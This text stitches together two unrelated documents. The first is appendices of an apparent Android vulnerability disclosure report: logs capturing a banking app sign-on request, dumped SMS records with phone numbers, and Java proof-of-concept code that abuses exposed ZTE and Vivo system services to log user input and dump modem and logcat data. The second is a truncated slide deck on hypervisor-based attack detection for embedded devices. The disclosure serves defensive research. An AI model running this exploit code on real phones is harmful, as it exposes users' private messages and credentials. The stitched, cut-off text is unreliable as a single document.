(password from the com.wellsFargo.ceomobile app) 03-16 18:14:20.995 21817 21913 D REQUEST : CEOMRequestData{url='https://ceomobile.wellsfargo.com/ceom/signon/signon.do', networkRequestType=POST, serviceType=SignOn, isPostData=true, requestDebug=false, responseDebug=false, isProtectedURL=false, 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] requestTimeOut=300, resourceTimeOut=300, mRequestHeaders=[X-Application: CEOMWrapper.android, X- AppVersion: 3.3.0, X-SystemVersion: 7.1.1, X-BioSignon: 1, X-SystemName: 7.1.1, X-DeviceModel: Z839, X- DeviceManufacturer: ZTE, X-DeviceName: Z839, mintSessionId: 01a13bcd-1612-4a6c-a468-fc0d2421076b, X- RememberedUser: false], inputParam=[COMPANY=739361, WFUID=someuserid, PASSWORD=somepassword, deviceId=48aa5c2420fbe981, AUTHTYPE=1, token=, ceomNonce, mintSessionId=01a13bcd-1612-4a6c-a468- fc0d2421076b, iatxnid=7b212c38-9153-428a-858b-e10ad8d74d09, action=signon, iapayload=ewogICAiZW5jcnlwdGVkQm9keSI6ICJXWTMvV1RLZmRnQkJkL3ZybXptRG8zMXhnZU4wZ1BjdllVNkgrT3lSY3A5emhML1B1 TUFIb05UeFZyUlAxWFMrVGFiNHhGc2Q2T0RwdVV6RUlCMlFNcFI0K3FQU0NUVWMvaCtzSFJES01NTTlhcGRpQS9uVnV5K2k0eTdGVEk5Z2 VxeFo3Z1FraVA1YTUxME5UaWNJYjY0ajBHZ1VPYWI4a0VpUUV0azd2emk1UGlaeUJTclVtNmRmZlkxSE1ZOHNOamdtK3V6MXF1TnhMQWFq STYxNmdWZVdkRjRVOTJJSVc4RnJ1RHg3VTc0WUZlUm11TlRYRDlONHIvUkJGUCtweGVySnEwYzFaWFZtL2RTUFQ4THB0Ulozc1F0NnR3cW hnU05OVDlYYzFsV25sTXZ6RWdPTWEyaGszTzhvTTJTYjF6YW1UQWVZVXc3VVFOczkwU1ppY3pXR21Sb2pSaDdhRTRNeGtSWnlSa2hRa3pZ OGdMOGpKQU1pbWgrbjFLVUdJUUlFM2l0b1ozN3VNNGY1bHhVWGJXYktDVEFLcTU2K2tZd2hkMGZMaUIyWGRkSW5KUzdRa1czT2s2Uk1OS0 pJNGwvbUVHTWRLUjFGc01BOFFOdXd2SVN3eEdWeGJldllPbVdESEFpVEtUTGFRcG1zQUIxK0kwZ20zSkhvZVkvTjZJZFEydTNYRW5RTS9M L0J4M2dadUxsN0FzN0NQVWg3eE15QkVjb3I1TVJURW9UT1VMM290TkpHMGNiUVVLR1dNUldEWGoyS01DVmxVUmxwU1liNlh1RUZkbkE3U0 ZBcUVVT3A0dURTY1VBMzRYNlNyNitIQ1RTY09KNWl1R1N4TlpSNUt2WEE3dnVWU1BXMTdQNlNONVR6TjA3aWl3YTZjTlVZbUhmQlpHa0J0 TEs5aWJwMThzcFBSN1dxa0ZIdGhVS3FDQ3lZYmhibXp3MVFvYWN6WkR4WTRWanZDVjBaVStNeFh5aWdvMnlMWGZvWUpwbEs2WEtvbVFZZX FiTVdnRDZXOEJDeTY3aW05Z1hvZG5Jbm9QT0V1WnFnWkV6aTZxY2RTM2t3SUlaTVpac2trMUJTZFEvY3FaYUUxSkc1Rzlib3dMbVBkdjFZ OTVHcERvTThLSWNpckg3eWdIUzlxWkNpNzBUOXZFazJWV1RsTCtJb2NEbWs5NlY3MHZ4ZnkzdDRONkpwUmVLRjlSWEJvcTZac09MTzhGTk 9LVEdJOU9VQWVMUDc3UG40elBtMURNcjdXa3ZGMTVacmJOVEJUbDdIRW9BcVRLbjM0b2dua2R4NXVUbDFvUFdndW1FeUh5eGFNS3pwSkh5 Smh3eDZEamFZM2xrZjRBdnRtcjBhVDA1NWE4OVdFWGZqMklYTjZob21lR0VZamhDWGJEWkh3ZnkwbEllcVFvdHJsd2p5a1M4bW93TVlrWl Q2YWNjUFdLU0V2SlU5UnVYRkcrMG1EdHk4dFh2OE4wMXZwU0pYeWJaWGpXL2cvYVZ1TnFqZmZhTHJFQjdobTBwcnVqd2JRYmpLYis5SGJT VGtlclpCRHJHNVZHWVdEQ2lhNkdETzRON3RVSG01QW51M1NnRGdtNzNScGtKNkVQZ1VsQ1pWNFZSN0hWSnVvL1l0bmw0VEo3cFZkK1oxVk VzdjVrY3hLTHRRNW1OMkhXTWF3QnR2ZlRvYkdBZjFuQjFTb05RTnJVa0dyQ0dvZi9nSmNTUWQ0TzNzSHBNeWxUMXkrODdPQlUyakxhZ2Rw Wng3dGc0dmwrMkxFeXV2bDR1ZnhHdDFzaVc5YUh4Sm0za3NraTE2L0ZvRVpIZVFSWlZ5U1pkY1cwMnRGUnRaR1UyUDFmellRYmp1Zmcyb1 RneFNjSFZoOFg4eFA4MUQ5UUljb2xqSVJGdXNYRGJIdkJoUmh6RjVRb0RHeG5UTVplSWtpWStFSWE5Z0g3TTdLOEJISlNwYjlHbkRhZTJy eUZ1SGZDVGNJajhSZjAxUlU4S3I3a2NwU1NNOFlZT2JZbnF2cXRlQ1cyc1Bzc3VZT0taUGpMS1NVMXNueGZ1U1JpcldqTXZUTWdac3M5dF ZiRjU4MkhYcmRBRGxBSktuWUI1VHRPWld4VnBPV1I2Z2tzOTNWSmV6Wks2dVhudHpDMmFramttYnlLS1IrcnRndlYxRDJwbnhEMTZiN0ky Wk1TbS9kRERUSVdkalcvKzRrSHJsdEdXOS9McmdybkZ4OExaN21MN3pMcnU1M1hKS3VWK0x1TDl0UXIvcEJQTEFNZDVaTkFPUWxLTk5CYn R6TkRqb2U5QmhnTmRsOUVCUzRpb2VTUEhPN0tuckNCa3FEcXEveWI1SkpLSS9tbUtBc0EwTTYxMW5YWldHSkltdEY3eVR4NmRBemZONlI2 TVVtL0dlYnp0ekRKci9SN00raU1Ua2piTnMybXllcStYc1lQdnN4dU52SlBMTTFWMWRoTEkrQXlxeGhQYjFBREV4L2ttMVpTcXhraEtoMW c3VTA4VW9ndjVJVTlxRWJka2U2VVptc3V0b0RXWmVFdE5WSkV2Tk8yR3RNWStxUWVOb0JzdDRndFArNUh3OFU2NkR4NmoxczZMN0hORWhK bHdLNXZZNjFzUjEzdmdaY3ZqK1VLMlMzek1GSE5tM3ZkaDVXZE9KN1VaLzd4MGZMSE1JVElzeHM4RjI4OVRVejhKZGloRWR0ZFZrbGJFWk V2RzEvN2gzZ0gzbXIwKysrdE5QVXpRZDloN3FscHNhWVFpOG41V3NVSy9vOEYrRUMyZVc3MGRsY0NQZy9FU3F2WTl4ZjNlNVJMNVNpY2Zt aWx3bVl5YUpCeWhTRGdZSWhPbFo4TUJiNk5zOGtEZlJEVU5pY05TWjdEVFYwQk5mdUZ2L0FMbzdvbWE0cDl4V21VUUkxZmFsR3FLeXRpOD B5VEN4Wk1KUEdaa1R6bEJBRi81dzJoMDgySWpJck9ad0hGRzI3TTVsV1MvQkdyOW1uSzVmZUF6Y05MWUdTOEdXQVJTeUNqaHRmd0U4eWs4 S3MvUUtJU0l1WS8zbWtRcDVYQ3pQRmZTM2dZbTJMcFY4WFdPb05HVHkyNFVhTHljNGNGamx3dkZOMk5Xdi9JSFhxYXJnVE4xcytqS3VSWG 5FbFBnWEpmYTAzNzJIRE1aOWN1bEp5TVJ6NTFOWVFhSjZzUWZDTzg2cHU2QXNpV1pUR3VTZWM3YVNiRWI4bHJXS0pZZVE0dmpOSnN0ejI0 SkZwUmRKN1Btb Appendix C. The Text of Notifications (shown in red) Appearing in the dumpstate.txt file on the Asus ZenFone 3 Max Device. Panels: mNotificationPanel=com.android.systemui.statusbar.phone.NotificationPanelView{b3e63a8 I.E...... ......ID 0,0-720,48 #7f14031f app:id/notification_panel} params=FrameLayout.LayoutParams={ width=match- parent, height=match-parent, leftMargin=0, rightMargin=0, topMargin=0, bottomMargin=0 } [PanelView(NotificationPanelView): expandedHeight=0.000000 maxPanelHeight=48 closing=f tracking=f justPeeked=f peekAnim=null timeAnim=null touchDisabled=f] active notifications: 4 [0] key=0|com.android.settings|1|null|1000 icon=StatusBarIconView(slot=com.android.settings/0x1 icon=StatusBarIcon(icon=Icon(typ=RESOURCE pkg=com.android.settings id=0x7f02007f) visible user=0 ) notification=Notification(pri=0 contentView=null vibrate=null sound=null defaults=0x0 flags=0x0 color=0x00000000 vis=PRIVATE)) pkg=com.android.settings id=1 importance=2 notification=Notification(pri=0 contentView=null vibrate=null sound=null defaults=0x0 flags=0x0 color=0x00000000 vis=PRIVATE) tickerText="null" [1] key=-1|android|17040405|null|1000 icon=StatusBarIconView(slot=android/0x1040415 icon=StatusBarIcon(icon=Icon(typ=RESOURCE pkg=android id=0x010807b4) visible user=-1 ) notification=Notification(pri=0 contentView=null vibrate=null sound=null tick defaults=0x0 flags=0x2 color=0xff607d8b vis=PUBLIC)) pkg=android id=17040405 importance=2 notification=Notification(pri=0 contentView=null vibrate=null sound=null tick defaults=0x0 flags=0x2 color=0xff607d8b vis=PUBLIC) tickerText="USB debugging connected" [2] key=0|com.android.vending|874755343|null|10041 icon=StatusBarIconView(slot=com.android.vending/0x3423b50f icon=StatusBarIcon(icon=Icon(typ=RESOURCE 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] pkg=com.android.vending id=0x7f0802da) visible user=0 ) notification=Notification(pri=-1 contentView=null vibrate=null sound=null tick defaults=0x0 flags=0x110 color=0xff0f9d58 category=status vis=PRIVATE)) pkg=com.android.vending id=874755343 importance=2 notification=Notification(pri=-1 contentView=null vibrate=null sound=null tick defaults=0x0 flags=0x110 color=0xff0f9d58 category=status vis=PRIVATE) tickerText="Successfully updated "Android Messages"" [3] key=-1|android|17040400|null|1000 icon=StatusBarIconView(slot=android/0x1040410 icon=StatusBarIcon(icon=Icon(typ=RESOURCE pkg=android id=0x010807b4) visible user=-1 ) notification=Notification(pri=-2 contentView=null vibrate=null sound=null tick defaults=0x0 flags=0x2 color=0xff607d8b vis=PUBLIC)) pkg=android id=17040400 importance=1 notification=Notification(pri=-2 contentView=null vibrate=null sound=null tick defaults=0x0 flags=0x2 color=0xff607d8b vis=PUBLIC) tickerText="USB for file transfer" You found me Appendix D. The output of querying the com.rcs.gsma.na.provider.message authority of the com.rcs.gsma.na.provider.message.MessageProvider class. _id:10 thread_id:4 address:(703) 671-7890 person:null date:1520018133117 date_sent:0 protocol:null read:1 status:-1 type:2 reply_path_present:null subject:null body:Heyyy service_center:null locked:0 sub_id:1 error_code:0 creator:com.android.mms seen:1 priority:-1 phone_id:-1 rcs_message_id:null rcs_file_name:null rcs_mime_type:null rcs_msg_type:-1 rcs_msg_state:null rcs_conversation_id:null rcs_contribution_id:null rcs_file_selector:null rcs_file_transfered:null rcs_file_transfer_id:null rcs_file_size:0 rcs_thumb_path:null rcs_read_status:|| rcs_file_icon:null rcs_extra_type:null rcs_file_record:null rcs_chat_type:null rcs_disposition_type:null rcs_extend_body:null rcs_file_status:null rcs_thumb_status:null _id:9 thread_id:4 address:(703) 671-7890 person:null date:1520013100751 date_sent:0 protocol:null read:1 status:-1 type:2 reply_path_present:null subject:null body: Gen service_center:null locked:0 sub_id:1 error_code:0 creator:com.android.mms seen:1 priority:-1 phone_id:-1 rcs_message_id:null rcs_file_name:null rcs_mime_type:null rcs_msg_type:-1 rcs_msg_state:null rcs_conversation_id:null rcs_contribution_id:null rcs_file_selector:null rcs_file_transfered:null rcs_file_transfer_id:null rcs_file_size:0 rcs_thumb_path:null rcs_read_status:|| rcs_file_icon:null rcs_extra_type:null rcs_file_record:null rcs_chat_type:null rcs_disposition_type:null rcs_extend_body:null rcs_file_status:null rcs_thumb_status:null _id:8 thread_id:4 address:+17036717890 person:null date:1519962834336 date_sent:1519962834000 protocol:0 read:1 status:-1 type:1 reply_path_present:0 subject:null body:koraxx service_center:+12063130056 locked:0 sub_id:1 error_code:0 creator:com.android.mms seen:1 priority:-1 phone_id:-1 rcs_message_id:null rcs_file_name:null rcs_mime_type:null rcs_msg_type:-1 rcs_msg_state:null rcs_conversation_id:null rcs_contribution_id:null rcs_file_selector:null rcs_file_transfered:null rcs_file_transfer_id:null rcs_file_size:0 rcs_thumb_path:null rcs_read_status:|| rcs_file_icon:null rcs_extra_type:null rcs_file_record:null rcs_chat_type:null rcs_disposition_type:null rcs_extend_body:null rcs_file_status:null rcs_thumb_status:null _id:7 thread_id:4 address:+17036717890 person:null date:1519962832167 date_sent:1519962831000 protocol:0 read:1 status:-1 type:1 reply_path_present:0 subject:null body:koarxx service_center:+12063130056 locked:0 sub_id:1 error_code:0 creator:com.android.mms seen:1 priority:-1 phone_id:-1 rcs_message_id:null rcs_file_name:null rcs_mime_type:null rcs_msg_type:-1 rcs_msg_state:null rcs_conversation_id:null rcs_contribution_id:null rcs_file_selector:null rcs_file_transfered:null rcs_file_transfer_id:null rcs_file_size:0 rcs_thumb_path:null rcs_read_status:|| rcs_file_icon:null rcs_extra_type:null rcs_file_record:null rcs_chat_type:null rcs_disposition_type:null rcs_extend_body:null rcs_file_status:null rcs_thumb_status:null _id:6 thread_id:4 address:(703) 671-7890 person:null date:1519962780392 date_sent:0 protocol:null read:1 status:-1 type:2 reply_path_present:null subject:null body:korax service_center:null locked:0 sub_id:1 error_code:0 creator:com.android.mms seen:1 priority:-1 phone_id:-1 rcs_message_id:null rcs_file_name:null rcs_mime_type:null rcs_msg_type:-1 rcs_msg_state:null rcs_conversation_id:null rcs_contribution_id:null rcs_file_selector:null rcs_file_transfered:null rcs_file_transfer_id:null rcs_file_size:0 rcs_thumb_path:null rcs_read_status:|| rcs_file_icon:null rcs_extra_type:null rcs_file_record:null rcs_chat_type:null rcs_disposition_type:null rcs_extend_body:null rcs_file_status:null rcs_thumb_status:null 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] _id:5 thread_id:4 address:+17036717890 person:null date:1519959534085 date_sent:0 protocol:null read:1 status:-1 type:2 reply_path_present:null subject:null body:what the?!?!?!?!? service_center:null locked:0 sub_id:-1 error_code:0 creator:com.rcs.gsma.na.sdk seen:1 priority:-1 phone_id:-1 rcs_message_id:151995953409400001 rcs_file_name:null rcs_mime_type:null rcs_msg_type:0 rcs_msg_state:32 rcs_conversation_id:34db30f7-9327-40ec- 85cd-16693579cc71 rcs_contribution_id:2763cb38-5fa2-4fd4-ab10-fea00688c6ba rcs_file_selector:null rcs_file_transfered:0 rcs_file_transfer_id:null rcs_file_size:0 rcs_thumb_path:null rcs_read_status:|| rcs_file_icon:null rcs_extra_type:0 rcs_file_record:0 rcs_chat_type:1 rcs_disposition_type:0 rcs_extend_body:null rcs_file_status:0 rcs_thumb_status:0 _id:4 thread_id:5 address:456 person:null date:1519958756064 date_sent:1519958754000 protocol:0 read:1 status:-1 type:1 reply_path_present:0 subject:null body:T-Mobile allows you to purchase services from third parties and makes it easy to identify those charges to your account. You can also block purchases from third parties; visit t-mo.co/block to learn more. service_center:+14054720056 locked:0 sub_id:1 error_code:0 creator:com.android.mms seen:1 priority:-1 phone_id:-1 rcs_message_id:null rcs_file_name:null rcs_mime_type:null rcs_msg_type:-1 rcs_msg_state:null rcs_conversation_id:null rcs_contribution_id:null rcs_file_selector:null rcs_file_transfered:null rcs_file_transfer_id:null rcs_file_size:0 rcs_thumb_path:null rcs_read_status:|| rcs_file_icon:null rcs_extra_type:null rcs_file_record:null rcs_chat_type:null rcs_disposition_type:null rcs_extend_body:null rcs_file_status:null rcs_thumb_status:null _id:3 thread_id:4 address:+17036717890 person:null date:1519953491939 date_sent:1519953492000 protocol:0 read:1 status:-1 type:1 reply_path_present:0 subject:null body:Test service_center:+12063130056 locked:0 sub_id:1 error_code:0 creator:com.android.mms seen:1 priority:-1 phone_id:-1 rcs_message_id:null rcs_file_name:null rcs_mime_type:null rcs_msg_type:-1 rcs_msg_state:null rcs_conversation_id:null rcs_contribution_id:null rcs_file_selector:null rcs_file_transfered:null rcs_file_transfer_id:null rcs_file_size:0 rcs_thumb_path:null rcs_read_status:|| rcs_file_icon:null rcs_extra_type:null rcs_file_record:null rcs_chat_type:null rcs_disposition_type:null rcs_extend_body:null rcs_file_status:null rcs_thumb_status:null _id:2 thread_id:4 address:(703) 671-7890 person:null date:1519953411079 date_sent:0 protocol:null read:1 status:-1 type:2 reply_path_present:null subject:null body:Test service_center:null locked:0 sub_id:1 error_code:0 creator:com.android.mms seen:1 priority:-1 phone_id:-1 rcs_message_id:null rcs_file_name:null rcs_mime_type:null rcs_msg_type:-1 rcs_msg_state:null rcs_conversation_id:null rcs_contribution_id:null rcs_file_selector:null rcs_file_transfered:null rcs_file_transfer_id:null rcs_file_size:0 rcs_thumb_path:null rcs_read_status:|| rcs_file_icon:null rcs_extra_type:null rcs_file_record:null rcs_chat_type:null rcs_disposition_type:null rcs_extend_body:null rcs_file_status:null rcs_thumb_status:null _id:1 thread_id:1 address:2941 person:null date:1519953278426 date_sent:1519953238000 protocol:0 read:1 status:-1 type:1 reply_path_present:0 subject:null body:Welcome to T-Mobile! Dial #BAL# to check your balances. Your T-Mobile number is 17036348111 service_center:+12063130056 locked:0 sub_id:1 error_code:0 creator:com.android.mms seen:1 priority:-1 phone_id:-1 rcs_message_id:null rcs_file_name:null rcs_mime_type:null rcs_msg_type:-1 rcs_msg_state:null rcs_conversation_id:null rcs_contribution_id:null rcs_file_selector:null rcs_file_transfered:null rcs_file_transfer_id:null rcs_file_size:0 rcs_thumb_path:null rcs_read_status:|| rcs_file_icon:null rcs_extra_type:null rcs_file_record:null rcs_chat_type:null rcs_disposition_type:null rcs_extend_body:null rcs_file_status:null rcs_thumb_status:null Appendix E. The output of querying the com.rcs.gsma.na.provider.capability authority of the com.rcs.gsma.na.provider.capability.CapabilityProvider class. _id:1 contact:+17035307980 date:1520039661214 caps:0 uri:sip:[email protected] _id:2 contact:+17036717890 date:1520889512809 caps:0 uri: _id:3 contact:+15403464546 date:1520889269698 caps:0 uri: _id:4 contact:+15403464546 date:1520889269698 caps:0 uri: _id:5 contact:+17064546454 date:1520889269755 caps:0 uri: 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] Appendix F. The AndroidManifest.xml file of the com.qualcomm.qti.modemtestmode app (versionCode=25, versionName=7.1.2) from the Vivo V7 Android Device. <?xml version="1.0" encoding="utf-8" standalone="no"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" android:sharedUserId="android.uid.system" package="com.qualcomm.qti.modemtestmode" platformBuildVersionCode="25" platformBuildVersionName="7.1.2"> <uses-permission android:name="com.qualcomm.permission.USE_QCRIL_MSG_TUNNEL"/> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/> <application android:allowBackup="true" android:icon="@drawable/mbn" android:label="@string/app_name" android:name="com.qualcomm.qti.modemtestmode.MbnAppGlobals" android:theme="@android:style/Theme.Black"> <uses-library android:name="com.qualcomm.qcrilhook" android:required="true"/> <activity android:label="@string/app_name" android:name=".MbnFileActivate" android:screenOrientation="portrait"> <intent-filter> <action android:name="android.intent.action.MAIN"/> </intent-filter> </activity> <activity android:label="@string/mbn_validate" android:name=".MbnTestValidate" android:screenOrientation="portrait" android:taskAffinity="com.qualcomm.qti.modemtestmode.MbnTestValidate"/> <activity android:name=".MbnFileLoad" android:screenOrientation="portrait" android:taskAffinity="com.qualcomm.qti.modemtestmode.MbnFileLoad"/> <activity android:name="com.qualcomm.qti.modemtestmode.MbnInfoActivity" android:screenOrientation="portrait" android:taskAffinity="com.qualcomm.qti.modemtestmode.MbnInfoActivity"/> <activity android:name="com.qualcomm.qti.modemtestmode.MbnAutoTestActivity" android:screenOrientation="portrait" android:taskAffinity="com.qualcomm.qti.modemtestmode.MbnAutoTestActivity"/> <service android:exported="true" android:name=".MbnTestService" android:process="com.android.phone"/> <service android:name=".MbnSystemService"/> <receiver android:name=".DefaultReceiver"> <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED"/> </intent-filter> <intent-filter> <action android:name="android.provider.Telephony.VIVO_SECRET_CODE"/> <data android:host="6266344" android:scheme="android_vivo_sec_code"/> <data android:host="33266344" android:scheme="android_vivo_sec_code"/> <data android:host="3266344" android:scheme="android_secret_code"/> <data android:host="76266344" android:scheme="android_vivo_sec_code"/> </intent-filter> </receiver> </application> Appendix G. Obtaining User Input on the Vivo V7 via Setting a System Property. public void vivo_v7_set_properties_as_phone() { Intent i = new Intent(); i.setClassName("com.qualcomm.qti.modemtestmode", "com.qualcomm.qti.modemtestmode.MbnTestService"); VivoServiceConnection servConn = new VivoServiceConnection(); boolean ret = bindService(i, servConn, BIND_AUTO_CREATE); Log.d(TAG, "initService() bound with " + ret); } class VivoServiceConnection implements ServiceConnection { public void onServiceConnected(ComponentName name, IBinder boundService) { 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] Log.w(TAG, "onServiceConnected"); Class clazz = boundService.getClass(); Parcel data = Parcel.obtain(); data.writeInterfaceToken("com.qualcomm.qti.modemtestmode.f"); data.writeString("persist.sys.input.log"); data.writeString("yes"); Parcel reply = Parcel.obtain(); try { boundService.transact(1, data, reply, 0); } catch (RemoteException e) { e.printStackTrace(); } } @Override public void onServiceDisconnected(ComponentName arg0) {} } Appendix H. PoC Code for Obtaining the Modem Logs. Below is the source code to initiate the writing of the modem logs to the SD card. After executing this code, a directory with a path of /sdcard/sd_logs will appear. After around 20 seconds, a binary file will appear in this directory. An example file name is sdlog_13_12_44_21.qmdl.gz. The file needs to be decompressed with gunzip first. Then the file can be parsed for telephony data matching specific formats or input into a program that views or converts the qmdl file. The code below needs to be inserted into an Android app on a ZTE device. In addition, the device should have a SIM card inserted. public void zte_enable_and_start_modem_logs() throws Exception { Class servman = Class.forName("android.os.ServiceManager"); Method getServ = servman.getDeclaredMethod("getIServiceManager", new Class[0]); getServ.setAccessible(true); Object obj = getServ.invoke(null, new Object[0]); Class iServiceManager = obj.getClass(); Method[] iSM = iServiceManager.getDeclaredMethods(); Method getService = iServiceManager.getDeclaredMethod("getService", new Class[]{String.class}); getService.setAccessible(true); String serviceName = "ModemService"; IBinder modemServiceBinderyProxy = (IBinder) getService.invoke(obj, new Object[] {serviceName}); Class modemServiceBinderyProxyClass = modemServiceBinderyProxy.getClass(); Method[] mdBPmethd = modemServiceBinderyProxyClass.getDeclaredMethods(); Parcel data = Parcel.obtain(); data.writeInterfaceToken("com.android.modem.service.IModemService"); Parcel reply = Parcel.obtain(); modemServiceBinderyProxy.transact(1, data, reply, 0); // gets the ISdlogService int check = reply.readInt(); IBinder sdLogInterface = reply.readStrongBinder(); data.recycle(); reply.recycle(); Parcel data1 = Parcel.obtain(); Parcel reply1 = Parcel.obtain(); 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] data1.writeInterfaceToken("com.android.modem.service.ISdlogService"); sdLogInterface.transact(0x18, data1, reply1, 0); // configSdlog()Z int replyint1 = reply1.readInt(); data1.recycle(); reply1.recycle(); Parcel data2 = Parcel.obtain(); Parcel reply2 = Parcel.obtain(); data2.writeInterfaceToken("com.android.modem.service.ISdlogService"); sdLogInterface.transact(0x5, data2, reply2, 0); // enableLog()V int replyint2 = reply2.readInt(); data2.recycle(); reply2.recycle(); Parcel data3 = Parcel.obtain(); Parcel reply3 = Parcel.obtain(); data3.writeInterfaceToken("com.android.modem.service.ISdlogService"); sdLogInterface.transact(0x2, data3, reply3, 0); // startLog()V int replyint3 = reply3.readInt(); data3.recycle(); reply3.recycle(); } Appendix I. PoC Code for Obtaining the Logcat Logs. Below is the source code to initiate the writing of the logcat logs to the SD card. After executing this code, a directory with a path of /sdcard/sd_logs/AdbLog/logcat will be created. Then four files corresponding to the names of the logcat log buffers will start being written in the directory. public void zte_obtain_android_log() throws Exception { Class servman = Class.forName("android.os.ServiceManager"); Method getServ = servman.getDeclaredMethod("getIServiceManager", new Class[0]); getServ.setAccessible(true); Object obj = getServ.invoke(null, new Object[0]); Class iServiceManager = obj.getClass(); Method[] iSM = iServiceManager.getDeclaredMethods(); Method getService = iServiceManager.getDeclaredMethod("getService", new Class[]{String.class}); getService.setAccessible(true); String serviceName = "ModemService"; IBinder modemServiceBinderyProxy = (IBinder) getService.invoke(obj, new Object[] {serviceName}); Class modemServiceBinderyProxyClass = modemServiceBinderyProxy.getClass(); Method[] mdBPmethd = modemServiceBinderyProxyClass.getDeclaredMethods(); Parcel data = Parcel.obtain(); data.writeInterfaceToken("com.android.modem.service.IModemService"); 10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected] Parcel reply = Parcel.obtain(); modemServiceBinderyProxy.transact(2, data, reply, 0); // gets the IAssistantService int check = reply.readInt(); IBinder serviceInterface = reply.readStrongBinder(); data.recycle(); reply.recycle(); Parcel data1 = Parcel.obtain(); Parcel reply1 = Parcel.obtain(); data1.writeInterfaceToken("com.android.modem.service.IAssistantService"); data1.writeInt(1); serviceInterface.transact(0x1, data1, reply1, 0); // enableDeamonProcess(Z)V int replyint1 = reply.readInt(); data1.recycle(); reply1.recycle(); Parcel data2 = Parcel.obtain(); Parcel reply2 = Parcel.obtain(); data2.writeInterfaceToken("com.android.modem.service.IAssistantService"); data2.writeInt(1); serviceInterface.transact(0x12, data2, reply2, 0); // enableAdbLog(Z)V int replyint2 = reply2.readInt(); data2.recycle(); reply2.recycle(); }
pdf
WEAPONIZING HYPERVISORS TO FIGHT & BEAT CAR & MEDICAL DEVICE ATTACKS Ali Islam – CEO Numen Inc Dan Regalado – DanuX – CTO Numen Inc AGENDA Basic&Concepts& Q&A& Embedded&Environment& Demo&–&Attacks&&&Use&cases& Hypervisors & Strong Trending Confidential Agent-less vs Agent (AV) •  Sophisticated Invisibility (VMI) - Cat and mouse game •  No messing up the actual device functionality •  Helps with regulations and certifications Let’s start the Journey Setting up the Environment on a Zynq UltraScale+ MPSoC ZCU 102 Src: https://www.digikey.com/product-detail/en/xilinx-inc/EK-U1-ZCU102-G/122-2035-ND/7035245#images-1 SD Card UART JTAG Zynq UltraScale+ MPSoC ZCU 102 ETHERNET -  DDR4 – 4 GB -  Quad-core Cortex A-53 -  Dual-core Cortex R5F Booting the board with JTAG •  Using Xilinx System Debugger CLI (xsdb) which reads a tcl file PMUFW – Setup clock and platform management FSBL – First Stage Bootloader – Initializes U-Boot U-Boot – Boots the Hypervisor, Kernel and rootfs Bl31 – ARM Trusted Firmware U-Boot Configuration •  Preparing Device Tree Blob (DTB) xen.dtb file (dts below): ZynqMP> tftpb 0x1380000 xen.dtb ZynqMP> tftpb 0x80000 Image-2018.3 ZynqMP> tftpb 0x1400000 xen.ub ZynqMP> bootm 0x1400000 - 0x1380000 # mkimage -A arm64 -T kernel -a 0x1400000 -e 0x1400000 -C none -d xen-zcu102-zynqmp xen.ub •  Preparing the hypervisor: Building the rootfs •  PetaLinux: Xilinx-based and therefore not universal •  Yocto: Universal but builds a Busybox limited rootfs ü  Real pain to compile new libraries •  Debootstrap: Way to go, Debian-based FileSystem J Dev environment •  You do not want to make changes directly on the board •  Schroot to the rescue ü  Chroot into the rootfs but from a mounting point via QEMU Let’s get the damn ARM Syscalls out! VMI & Semantic Gap Understand meaning using OS specific knowledge https://notes.shichao.io/lkd/ch3/ linux_name = 0x4f0; linux_tasks = 0x280; linux_mm = 0x2d0; linux_pid = 0x334; linux_pgd = 0x40; Kernel Symbol Value Example http://libvmi.com/docs/gcode-intro.html status_t vmi_read_ksym( vmi_instance_t vmi, const char *sym, size_t count, void *buf, size_t *bytes_read ); Single Stepping •  Hardware Breakpoints •  Software Breakpoints - CPU assisted •  Software breakpoints – No CPU Assistance http://www.intel.com/content/www/us/en/processors/architectures-software-developer-manuals.html Extended Page table(s) https://de.wikipedia.org/wiki/Datei:X86_Paging_4K.svg p2m Translation Machine Physical Address VM Virtual Address VM Physical Address EPTP Virtual to VM PA EPT pointer (EPTP) is stored in the Virtual Machine Control Structure (VMCS) - A per VM data struct in the memory and managed by VMM Multiple p2m Translations Machine Physical Address VM Virtual Address VM Physical Address Virtual to VM PA EPTP 2 EPTP 1 Extend Page Table Entry (epte) struct from Xen code Multiple p2m Translations (continued) Machine Physical Address (MPA) VM Virtual Address VM Physical Address Virtual to VM PA MPA in second memory copy VM PA to Machine PA Single Stepping on ARM 0xD4000003 (BP) Instruction 2 Instruction 3 Default Memory View Instruction 1 0xD4000003 (BP) Instruction 3 Single Stepping View https://dl.acm.org/citation.cfm?id=3274698 Instruction n Instruction n BP = Breakpoint = SMC Hooking and Syscall Monitoring on ARM Singlestep Make sure to singlestep in order to execute the original functionality Clean After you are done, make sure to remove all hooks and exit VMI. Otherwise the VM might crash or become unstable vmi_destroy(); Add & Register Hook vmi_register_event() & Write to memory 0xD4000003 (SMC) at the start of each API function . Callback Do you analysis when the control gets to your registered callback. Syscalls Monitoring in ARM (ARM-Syscalls.mp4) Attacks and Detection scenarios Memory corruption attack Shell spawn at the end Exit gracefully Easy sequence-based detection Shellcode execution delay •  Syscall monitoring cannot be on all the time •  Not using syscall (sleep) to delay execution •  Traditional AV challenge Solution approach •  Create a “triggered memory view” hooking only suspicious syscalls: execve, connect, clone, etc all the time •  As soon as the shellcode spawns, full hooking on that process is enabled! Malware hypervisor-aware •  The malware is able to read kernel memory and identify SMC hooks ü  Stops running or wipes the system! •  Even in some conditions is able to remove the hooks! ü  Worst scenario, detection bypass! Stealthiness using memory views Execute Only View Read/Write Only View Policy Enforcement – Network Use Case Once you have a good handle on Virtual Machine Introspection, there are many possibilities. 1) Traverse a task list and see if there is any socket handle for a particular task struct 1.1) A socket is a special type of file. So check if there is any additional file handle 2) 